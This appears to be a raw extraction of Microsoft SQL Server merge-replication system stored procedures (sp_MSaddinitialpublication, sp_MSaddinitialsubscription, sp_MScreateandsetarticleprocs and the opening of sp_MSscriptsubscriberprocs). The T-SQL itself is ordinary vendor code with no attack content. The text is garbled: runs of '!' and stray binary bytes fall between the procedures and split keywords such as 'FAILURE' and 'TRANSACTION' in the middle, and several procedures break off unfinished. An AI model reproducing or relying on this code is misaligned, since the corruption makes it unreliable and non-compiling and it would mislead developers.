        execute sp_MSfillup_deleted_cols @objid, @deleted_cols output
        update dbo.sysmergearticles set deleted_cols=@deleted_cols 
                where artid = @artid and pubid=@pubid

        end
    else
        begin
            --if @well_partitioned = 1 and exists (select * from dbo.sysmergepartitioninfo where artid = @artid)
            --begin
            --  raiserror(21535, 16, -1, @article)
            --  return 1
            --end
            --else if @well_partitioned = 0 and exists 
                        --(select * from dbo.sysmergepartitioninfo where artid = @artid and well_partitioned = 1)
            --begin
                --raiserror(21536, 16, -1, @article)
                --return 1
            --end

            select @objid = 0
            insert into dbo.sysmergearticles (name, type, objid, sync_objid, artid, pre_creation_command, pubid, 
                nickname, column_tracking, status, resolver_clsid, destination_owner,
                insert_proc, update_proc, select_proc, destination_object, missing_col_count, missing_cols, 
                article_resolver, resolver_info, subset_filterclause, excluded_col_count, excluded_cols, identity_support,
                verify_resolver_signature, fast_multicol_updateproc, processing_order, upload_options, published_in_tran_pub,
                delete_tracking, compensate_for_errors, pub_range, range, threshold, stream_blob_columns, preserve_rowguidcol)
            values (@article, 0x0a, @objid, @objid, @artid, @pre_creation_command, @pubid, 
                @nickname, @column_tracking, @status, @resolver_clsid, @destination_owner,
                @insert_proc, @update_proc, @select_proc, @destination_object, @missing_count, @sub_missing_cols, 
                @article_resolver, @resolver_info, @filter_clause, 0, 0x00, @identity_support, @verify_resolver_signature, 
                @fast_multicol_updateproc, @processing_order, @upload_options, @published_in_tran_pub,
                @delete_tracking, @compensate_for_errors, @pub_identity_range, @identity_range, @threshold, @stream_blob_columns, @preserve_rowguidcol)
                
            insert into dbo.sysmergepartitioninfo (artid, pubid, logical_record_level_conflict_detection, logical_record_level_conflict_resolution, partition_options) 
                values (@artid, @pubid, @logical_record_level_conflict_detection, @logical_record_level_conflict_resolution, @partition_options)

        end
    IF @@ERROR <> 0
    BEGIN
        RAISERROR (14057, 16, -1)
        RETURN (1)
    END

    RETURN 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(A
lvw
create procedure sys.sp_MSaddinitialpublication(
    @publisher              sysname,
    @publisher_db           sysname,
    @publication            sysname,            /* Name of the publication */
    @description            nvarchar(255),      /* Description of the publication */
    @pubid                  uniqueidentifier,   /* Publication ID */
    @retention              int,                /* Retention period of the publication */
    @sync_mode              int,                /* Sync mode of the publication */
    @allow_push             int,                /* does publication allow push ? */
    @allow_pull             int,                /* does publication allow pull ? */
    @allow_anonymous        int,                /* does publication allow anonymous ? */
    @conflict_logging       int,                /* publication does centralized conflicts ? */
    @status                 int,                /* publication's status */
    @snapshot_ready         int,                /* publication snapshto_ready flag ? */
    @enabled_for_internet   int,                /* publication enabled_for_internet flag ? */
    @publication_type       int,                /* a full publication or a partial one */
    @conflict_retention     int = 60,               /* the retention period for conflict table */
    @allow_subscription_copy int = 0,               /* does publication allow subscription copies to sync ? */
    @allow_synctoalternate  int = 0,                /* does publication allow subscription to sync to alternates ? */
    @backward_comp_level    int = 10,            /* default to 7.0 server */
    @replicate_ddl                      int  = 0,                       /* by default no ALTER TABLE event to catch */
    @retention_period_unit      tinyint = 0,
    @replnickname                       binary(6) = NULL,
    @generation_leveling_threshold int = NULL,
    @automatic_reinitialization_policy bit = 0 -- no upload first
    ) AS
    
    SET NOCOUNT ON
    declare @retcode            int
    declare @subid              uniqueidentifier
    declare @REPOLEVersion_90   int
    declare @subscriber_db                              sysname

    select @publication = RTRIM(@publication)
    select @publisher_db = RTRIM(@publisher_db)
    set @REPOLEVersion_90= 90
    set @subscriber_db= db_name()

    /*
    ** Check for subscribing permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)

   -- The database cannot subscribe to both Yukon and pre-Yukon publications.
   if @REPOLEVersion_90 = @backward_comp_level and
      exists (select * from dbo.sysmergepublications where 
                   backward_comp_level < @REPOLEVersion_90 and
                   (upper(publisher collate SQL_Latin1_General_CP1_CS_AS) <> upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) or 
                        publisher_db <> @publisher_db or 
                        name <> @publication))
    begin
       raiserror(21527, 16, -1, @publication, @subscriber_db)
       return (1)
    end
    else if @REPOLEVersion_90 > @backward_comp_level and
      exists (select * from dbo.sysmergepublications where 
                   backward_comp_level >= @REPOLEVersion_90 and
                   status is not null and       -- Pull subscribers have dummy backward_comp_level until they sync the first time. Skip those.
                   (upper(publisher collate SQL_Latin1_General_CP1_CS_AS) <> upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) or 
                        publisher_db <> @publisher_db or 
                        name <> @publication))
    begin
       raiserror(21528, 16, -1, @publication, @subscriber_db)
       return (1)
   end

    /*
    ** Populate the local copy of dbo.sysmergepublications
    */
    BEGIN TRAN
    save TRAN MSaddinitialpublication

    -- this proc gets called when we are adding the publication on the subscriber when a merge for
    -- this subscriber with the given publication happens for the first time. However, we could have
    -- a publication entry already if we know about this publication as a "global replica". To understand
    -- why a publication entry could already exists check sp_MScreateglobalreplica where we create a
    -- sysmergepublications entry for each publication replica (pubid = subid) we see
    -- however, this subscriber could be subscribing to this publication for the first time.
    if exists (select * from dbo.sysmergepublications 
            where name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db)
    begin 
        declare @pubid_local uniqueidentifier

        /* select the local pubid only if it has a valid parentid */
        select @pubid_local = pubid from dbo.sysmergepublications 
            where name = @publication and 
                UPPER(publisher)=UPPER(@publisher) and 
                publisher_db=@publisher_db
        if @pubid_local <> @pubid
        begin
            if exists (select * from dbo.sysmergesubscriptions 
                where pubid = @pubid and 
                UPPER(subscriber_server) collate database_default = UPPER(@publisher) and db_name = @publisher_db)
            begin
                select @subid = subid from dbo.sysmergesubscriptions 
                    where pubid = @pubid and UPPER(subscriber_server) collate database_default = UPPER(@publisher) and db_name = @publisher_db
                delete from dbo.MSmerge_replinfo where repid = @subid
                
				-- delete supportability settings for the subscriptions that we are about to delete.
			    delete from dbo.MSmerge_supportability_settings where subid = @subid       	
			    delete from dbo.MSmerge_log_files where subid = @subid
			        
                delete from dbo.sysmergesubscriptions where subid = @subid
                IF @@ERROR <> 0
                BEGIN
                    RAISERROR (14057, 16, -1)
                    goto FAILURE
                END
                
                                exec sys.sp_MScleanup_subscriber_history @subid=@subid
                                if @@ERROR<>0 
                                        goto FAILURE
            
                -- If the only remaining subscriptions are old entries (before restore),
                -- we remove them now.
                if not exists (select * from dbo.sysmergesubscriptions 
                                                        where status <> 7) -- REPLICA_STATUS_BeforeRestore
                begin
                        delete from dbo.sysmergesubscriptions
                        truncate table dbo.MSmerge_supportability_settings
                        truncate table dbo.MSmerge_log_files
                        truncate table dbo.MSrepl_errors
                                        truncate table dbo.MSmerge_history
                                        truncate table dbo.MSmerge_articlehistory
                                        truncate table dbo.MSmerge_sessions
                        delete from dbo.MSmerge_replinfo
                end
            end
        end
        update dbo.sysmergesubscriptions set pubid= @pubid, replicastate= newid() where pubid = @pubid_local
        IF @@ERROR <> 0
            BEGIN
                RAISERROR (14057, 16, -1)
                goto FAILURE
            END
        if @pubid <> @pubid_local
        begin
			-- delete supportability settings for the subscriptions that we are about to delete.
		    delete from dbo.MSmerge_supportability_settings where subid = @pubid       	
		    delete from dbo.MSmerge_log_files where subid = @pubid

            delete from dbo.sysmergesubscriptions where subid = @pubid
            exec sys.sp_MScleanup_subscriber_history @subid=@pubid
                        if @@ERROR<>0 
                                goto FA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<n	B
Q0wILURE
            delete from dbo.MSmerge_replinfo where repid = @pubid

            -- If the only remaining subscriptions are old entries (before restore),
            -- we remove them now.
            if not exists (select * from dbo.sysmergesubscriptions 
                                                where status <> 7) -- REPLICA_STATUS_BeforeRestore
            begin
                delete from dbo.sysmergesubscriptions
                truncate table dbo.MSmerge_supportability_settings
                truncate table dbo.MSmerge_log_files
                truncate table dbo.MSrepl_errors
                                truncate table dbo.MSmerge_history
                                truncate table dbo.MSmerge_articlehistory
                                truncate table dbo.MSmerge_sessions
                delete from dbo.MSmerge_replinfo
            end
        end
            
        update dbo.sysmergesubscriptions SET subid = @pubid, replnickname = isnull(@replnickname, replnickname) where subid = @pubid_local
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14057, 16, -1)
            goto FAILURE
        END
        delete from dbo.MSmerge_replinfo where repid = @pubid_local
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (14057, 16, -1)
            goto FAILURE
        END
        update dbo.sysmergepublications 
            SET pubid = @pubid, 
                name = @publication, 
                description = @description, 
                designmasterid = @pubid, 
                retention = @retention, 
                retention_period_unit = @retention_period_unit,
                parentid = pubid, 
                sync_mode = sync_mode, 
                allow_push = @allow_push, 
                allow_pull = @allow_pull, 
                allow_anonymous = @allow_anonymous, 
                centralized_conflicts= case @conflict_logging
                   when 1 then 1
                   when 2 then 1
                   else 0
                end,
                decentralized_conflicts= case @conflict_logging
                   when 1 then 0
                   when 2 then 1
                   else 1
                end,
                status = @status,
                snapshot_ready = @snapshot_ready,
                enabled_for_internet = @enabled_for_internet,
                publication_type = @publication_type,
                conflict_retention = @conflict_retention,
                allow_subscription_copy = @allow_subscription_copy, 
                allow_synctoalternate = @allow_synctoalternate ,
                backward_comp_level = @backward_comp_level,
                replicate_ddl=@replicate_ddl,
                generation_leveling_threshold = @generation_leveling_threshold,
                automatic_reinitialization_policy = @automatic_reinitialization_policy
            where name = @publication
                  and UPPER(publisher) = UPPER(@publisher)
                  and publisher_db = @publisher_db

        	-- Fix the replnick to 4 bytes + 0x0000 if the compatlevel is less than 80.
        	-- This prevents us from having real 6 byte replnicks when there are 80 subscribers
        	-- Having real 6 byte replnicks in mixed mode can cause non-convergence because the 
        	-- lineages can not be converted from 90 to 80 and back to 90 without losing last two bytes of replnick.
			if @REPOLEVersion_90 > @backward_comp_level
			begin
				update dbo.sysmergesubscriptions set replnickname = substring(replnickname,1,4) + 0x0000
					where pubid <> subid and pubid in (select pubid from sysmergepublications where name = @publication
    					              and UPPER(publisher) = UPPER(@publisher) and publisher_db = @publisher_db)
			end
                  
    end
    else
    begin
        insert dbo.sysmergepublications(publisher, publisher_db,pubid, name, description, designmasterid, 
            retention, parentid, sync_mode, allow_push, allow_pull, allow_anonymous, 
            centralized_conflicts, 
            decentralized_conflicts, 
            status, snapshot_ready, enabled_for_internet, publication_type, 
            conflict_retention, allow_subscription_copy, allow_synctoalternate, backward_comp_level, replicate_ddl, distributor,
            retention_period_unit, generation_leveling_threshold, automatic_reinitialization_policy)
        values(@publisher, @publisher_db, @pubid, @publication, @description, @pubid, 
            @retention, @pubid, @sync_mode, @allow_push, @allow_pull, @allow_anonymous, 
            case @conflict_logging -- centralized
               when 1 then 1
               when 2 then 1
               else 0
            end,
            case @conflict_logging -- decentralized
               when 1 then 0
               when 2 then 1
               else 1
            end,
            @status, @snapshot_ready, @enabled_for_internet, @publication_type, 
            @conflict_retention, @allow_subscription_copy, @allow_synctoalternate, @backward_comp_level, @replicate_ddl, @publisher,
            @retention_period_unit, @generation_leveling_threshold, @automatic_reinitialization_policy)
    end
    IF @@ERROR <> 0
        BEGIN
            RAISERROR (14057, 16, -1)
            goto FAILURE
        END
    COMMIT TRAN

    RETURN (0)

FAILURE:
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION MSaddinitialpublication
        COMMIT TRANSACTION
    end
    RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C
sV.vC
create procedure sys.sp_MSaddinitialsubscription(
    @pubid                  uniqueidentifier,       /* Publication ID */
    @subid                  uniqueidentifier,       /* Subscription's replica ID */
    @replicastate               uniqueidentifier,
    @subscriber             sysname,                /* Subscriber server */
    @subscriber_db          sysname,                /* Subscriber database */
    @subscriber_priority    real = 0.0,             /* Subscriber priority */
    @subscriber_type        tinyint = 0,            /* Subscriber type - local, global, or anonymous */
    @subscription_type      int = 0,                /* Subscription type - push or pull */
    @sync_type              tinyint = 2,            /* Subscription sync type 1 = no sync, 2 = automatic */
    @publication            sysname = NULL,         /* Publication Name */
    @distributor            sysname = NULL,         /* Distributor */
    @replica_version            int = 60                                -- 60=shiloh sp3 or lower, 90=yukon
    ) AS
    
    SET NOCOUNT ON

    DECLARE @local              tinyint
    DECLARE @anonymous          tinyint
    DECLARE @subnickname        varbinary(6)
    DECLARE @inactive             tinyint
    DECLARE @retcode            int
    DECLARE @subid_old          uniqueidentifier

    
    SET @local              = 2
    SET @anonymous          = 3

    -- This adds an inactive initial subscription. The subscription is activated
    -- only after the first successful merge.
    set @inactive             = 0
    

    select @subscriber_db = RTRIM(@subscriber_db)
    /*
    ** Check for subscribing permission
    ** It is called by merge agent at the publisher side
    ** subscriber side?
    */
    -- @pubid is not local
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
                RAISERROR (21723, 16, -1, 'sp_MSaddinitialsubscription')
                return 1
        end
        else
        begin
                RAISERROR (14126, 11, -1)
                return 1
        end
    end

    -- this gets executed at both publisher (for pull subscriptions) and at subscriber

    begin tran
    save TRAN MSaddinitialsubscription  
    /*
    ** Populate the local copy of dbo.sysmergesubscriptions
    */
    if exists (select * from dbo.sysmergesubscriptions where subid = @subid)
    begin
        update dbo.sysmergesubscriptions 
            SET datasource_type = 0,
                db_name = @subscriber_db,
                pubid = @pubid,
                status = @inactive,
                subscriber_type = @subscriber_type,
                subscription_type = @subscription_type,
                priority = @subscriber_priority,
                sync_type = @sync_type,
                subscriber_server = @subscriber,
                replica_version = @replica_version
            where subid = @subid 
                    
        IF @@ERROR <> 0
        BEGIN
            goto FAILURE
        END
    end                 
                    
    if exists (select * from dbo.sysmergesubscriptions 
               where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default AND 
                     db_name = @subscriber_db AND pubid = @pubid)
    begin
        select @subid_old = subid from dbo.sysmergesubscriptions 
            where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default AND 
                  db_name = @subscriber_db AND pubid = @pubid
        update dbo.sysmergesubscriptions 
            SET subid = @subid,
                datasource_type = 0,
                db_name = @subscriber_db,
                pubid = @pubid,
                status = @inactive,
                subscriber_type = @subscriber_type,
                subscription_type = @subscription_type,
                priority = @subscriber_priority,
                sync_type = @sync_type,
                subscriber_server = @subscriber,
                replica_version = @replica_version
            where subid = @subid_old
                    
        IF @@ERROR <> 0
        BEGIN
            goto FAILURE
        END

		-- Update the subid in supportability tables aswell if it exists.
        update dbo.MSmerge_supportability_settings set subid = @subid where subid = @subid_old
        update dbo.MSmerge_log_files set subid = @subid where subid = @subid_old
		        
        if (@subid_old IS NOT NULL)
        begin
            /*
            **  update old row for subscriber from dbo.MSmerge_replinfo.
            */
            update dbo.MSmerge_replinfo set repid = @subid where repid = @subid_old
            IF @@ERROR <> 0
            BEGIN
                goto FAILURE
            END

            EXECUTE @retcode = sys.sp_MSgenreplnickname 
                                    @srcguid= @subid, 
                                    @replnick= @subnickname output
            if @@ERROR<>0 or @retcode<>0 goto FAILURE
            
            /*
            **  Update replnickname is sysmergesubscriptions
            */
            update dbo.sysmergesubscriptions set replnickname = @subnickname where subid = @subid 
            IF @@ERROR <> 0
            BEGIN
                goto FAILURE
            END
        end                 
    end
    else
    begin
        /* Look for existing nickname from any other subscription */
        select @subnickname = max(replnickname) from dbo.sysmergesubscriptions 
           where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default 
                and db_name = @subscriber_db
                and status <> 7 -- REPLICA_STATUS_BeforeRestore
                
        /* Generate a new replica nickname from the @subid */
        if (@subnickname is null)
        begin
            EXECUTE @retcode = sys.sp_MSgenreplnickname 
                                        @srcguid= @subid, 
                                        @replnick= @subnickname output
            if @@ERROR<>0 or @retcode<>0 goto FAILURE
        end
        
        INSERT dbo.sysmergesubscriptions(subid,
                                  replicastate,
                                  db_name, 
                                  pubid,
                                  status, 
                                  subscriber_type,
                                  subscription_type,
                                  priority, 
                                  sync_type, 
                                  description,
                                  replnickname,
                                  subscriber_server,
                                  replica_version)
            VALUES (@subid,
                    newid(),
                    @subscriber_db,
                    @pubid,
                    @inactive,
                    @subscriber_type,
                    @subscription_type,
                    @subscriber_priority,
                    @sync_type, 
                    NULL, 
                    @subnickname,
                    @subscriber,
                    @replica_version)

        IF @@ERROR <> 0
        BEGIN
            goto FAILURE
        END

        /*
        **  Add row for subscriber to dbo.MSmerge_replinfo.
        */
        INSERT INTO  dbo.MSmerge_replinfo(repid, login_name )  
            values (@subid, suser_sname(suser_sid())) 
        IF @@ERROR <> 0
        BEGIN
            goto FAILURE
        END
    end                                     

    COMMIT TRAN         
    RETURN 0

FAILURE:
    /* UNDONE : This code is specific to 6.X nested transaction semantics */
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION MSaddinitialsubscription
        COMMIT TRANSACT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(D
$!vYcreate procedure sys.sp_MScreateandsetarticleprocs    (
    @pubid                              uniqueidentifier, 
    @artid                              uniqueidentifier,
    @objectname             sysname,
    @ownername                  sysname,
    @ins_procname               sysname,
    @ins_batch_procname sysname,
    @upd_procname               sysname,
    @upd_batch_procname sysname,
    @sel_procname               sysname,
    @del_procname               sysname,
    @sel_metadata_procname      sysname,
    @view_selprocname   sysname,
    @conflict_proc              sysname,
    @generate_downlevel_procs bit = 0,
    @update_symergearticles bit = 1)
    
as
    declare @retcode    smallint
    declare @dbname     sysname
    declare @command    nvarchar(4000)
    declare @objid      int
    declare @sync_objid int

    -- Create the procs, the calling code is responsible for dropping the procs if they pre-exist 
    set @dbname = db_name()
    select @objid = objid, @sync_objid= sync_objid FROM dbo.sysmergearticles WHERE artid = @artid AND pubid = @pubid
    
    set @command= 'SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON'
    exec (@command)
    if @@ERROR<>0 goto FAILURE
    
    if (@ins_procname IS NOT NULL and object_id(@ins_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakeinsertproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@ins_procname)  + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']' + ', @generate_downlevel_procs = ' + convert(nchar(1), @generate_downlevel_procs)
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @ins_procname 
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@ins_procname) + ' to public'
        exec (@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@ins_batch_procname IS NOT NULL and object_id(@ins_batch_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakebatchinsertproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@ins_batch_procname)  + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']'
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @ins_batch_procname 
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@ins_batch_procname) + ' to public'
        exec (@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@upd_procname IS NOT NULL and object_id(@upd_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakeupdateproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@upd_procname) + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']' + ', @generate_downlevel_procs = ' + convert(nchar(1), @generate_downlevel_procs)
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @upd_procname 
        if @@ERROR<>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@upd_procname) + ' to public'
        exec(@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@upd_batch_procname IS NOT NULL and object_id(@upd_batch_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakebatchupdateproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@upd_batch_procname) + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']'
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @upd_batch_procname 
        if @@ERROR<>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@upd_batch_procname) + ' to public'
        exec(@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@sel_procname IS NOT NULL and object_id(@sel_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakeselectproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@sel_procname) + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']' + ', @generate_downlevel_procs = ' + convert(nchar(1), @generate_downlevel_procs)
		exec @retcode = sys.sp_execresultset_nvarcharmaxrows @command
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @sel_procname 
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@sel_procname) + ' to public'
        exec (@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@del_procname IS NOT NULL and object_id(@del_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakedeleteproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@del_procname) + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']'
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @del_procname 
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@del_procname) + ' to public'
        exec (@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@sel_metadata_procname IS NOT NULL and object_id(@sel_metadata_procname) is NULL)
    begin
        set @command = 'sys.sp_MSmakemetadataselectproc ' + QUOTENAME(@objectname) + ' , ' + QUOTENAME(@ownername) + ' , ' + quotename(@sel_metadata_procname) + ', [' + convert(nchar(36), @pubid) + ']' + ', [' + convert(nchar(36), @artid) + ']'
        exec @retcode = sys.xp_execresultset @command, @dbname
        if @@ERROR<>0 or @retcode<>0
            goto FAILURE
        exec @retcode = sys.sp_MS_marksystemobject  @sel_metadata_procname 
        if @@ERROR<>0 OR @retcode <>0 goto FAILURE
        select @command = 'grant exec on ' + quotename(@sel_metadata_procname) + ' to public'
        exec (@command)
        if @@ERROR<>0 goto FAILURE
    end

    if (@view_selprocname IS NOT NULL and object_id(@view_selprocname) is NULL)
    begin
        declare @viewownername  sysname
        declare @viewname               sysname
        declare @rgcol                  sysname

        if @sync_objid is NULL or @sync_objid = 0
            select @sync_objid = @objid

        select @viewownername = SCHEMA_NAME(schema_id), @viewname = name from sys.objects where object_id = @sync_objid 
        select @rgcol = name from sys.columns where object_id = @objid and is_rowguidcol = 1
        exec @retcode=sys.sp_MSmakeviewproc @viewname, @viewownername, @view_selprocname, @rgcol, @pubid, @artid
        if @@ERROR<>0 or @retcode<>0 goto FAILURE
    end

    if (@conflict_proc IS NOT NULL and object_id(@conflict_proc) is NULL)
    begin
        declare @conflict_table sysname
        declare @conflict_table_schema sysname
        declare @qualified_conflict_table nvarchar(517)

        select @conflict_table= conflict_table FROM dbo.sysmergearticles WHERE artid = @artid AND pubid = @pubid
        -- In yukon this should always be dbo
        select @conflict_table_schema = 'dbo'
        select @qualified_conflict_table = quotename(@conflict_table_schema) + '.' + quotename(@conflict_table)
        if object_id(@qualified_conflict_table) is not NULL
        begin
            set @command = 'sys.sp_MSmakeconflictinsertproc ' + QUOTENAME(@conflict_table) + ' , ' + QUOTENAME(@conflict_table!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ECc=v-- This proc returns the text of all procs that should be created on the subscriber to the caller
-- the result set should be processed by the snapshot agent and added to a file.
create procedure sys.sp_MSscriptsubscriberprocs    (
    @publication sysname, 
    @article sysname)
    
as
    declare @retcode        smallint
    declare @command        nvarchar(4000)
    declare @objid          int
    declare @objectname     sysname
    declare @ownername      nvarchar(140)
    declare @destowner      nvarchar(140)
    declare @procsuffix     sysname
    declare @ins_procname   sysname
    declare @ins_batch_procname sysname
    declare @upd_procname   sysname
    declare @upd_batch_procname sysname
    declare @sel_procname sysname
    declare @sel_metadata_procname sysname
    declare @del_procname sysname
    declare @conflict_proc sysname
    declare @recreateallprocs bit
    declare @pubid uniqueidentifier
    declare @artid uniqueidentifier
    declare @upload_options tinyint
    declare @conflict_table nvarchar(140)
    declare @generate_batch_procs bit
    declare @sync_objid int
    declare @script_conflict_proc bit

    set nocount on
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode=sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    if object_id('sysmergepublications') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    select @pubid = pubid
        from dbo.sysmergepublications 
        where name = @publication and 
        upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
        publisher_db=db_name()
    if @pubid is NULL
    BEGIN
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END

    select @artid= artid, @objid = objid, @destowner = destination_owner, 
           @upload_options = upload_options, @conflict_table = conflict_table,
           @sync_objid = sync_objid
            FROM dbo.sysmergearticles WHERE name = @article AND pubid = @pubid
    if @artid IS NULL
    BEGIN
        RAISERROR (20027, 16, -1, @article)
        RETURN (1)
    END

    -- Don't generate the batch insert and update procs if the article has a xml
    -- column. XML column needs streaming and we don't do batch updates and inserts when we have
    -- to do streaming.
    if exists (select * from sys.columns where object_id = @sync_objid and system_type_id = 241) 
        select @generate_batch_procs = 0
    else
        select @generate_batch_procs = 1

    select @ownername = schema_name(schema_id), @objectname=name from sys.objects where object_id=@objid
    if @objectname IS NULL
    BEGIN
        RAISERROR (20027, 16, -1, @article)
        RETURN (1)
    END
    
    select @procsuffix = sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)

    if @ownername <> @destowner or (@upload_options = 1 or @upload_options = 2)
        select @recreateallprocs = 1
    else
        select @recreateallprocs = 0    

    -- In my initial perf testing I did not see much of a difference between calling sp_helptext and recreating the proc. Hence I am going
    -- to hard code this to call the proc creation procedures once more.
    select @recreateallprocs = 1
    
    select @command = '-- these are subscriber side procs
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER ON
'
    select @command

    select @ins_procname = 'MSmerge_ins_sp_' + @procsuffix
    select @ins_batch_procname = 'MSmerge_ins_sp_' + @procsuffix + '_batch'
    select @upd_procname = 'MSmerge_upd_sp_' + @procsuffix
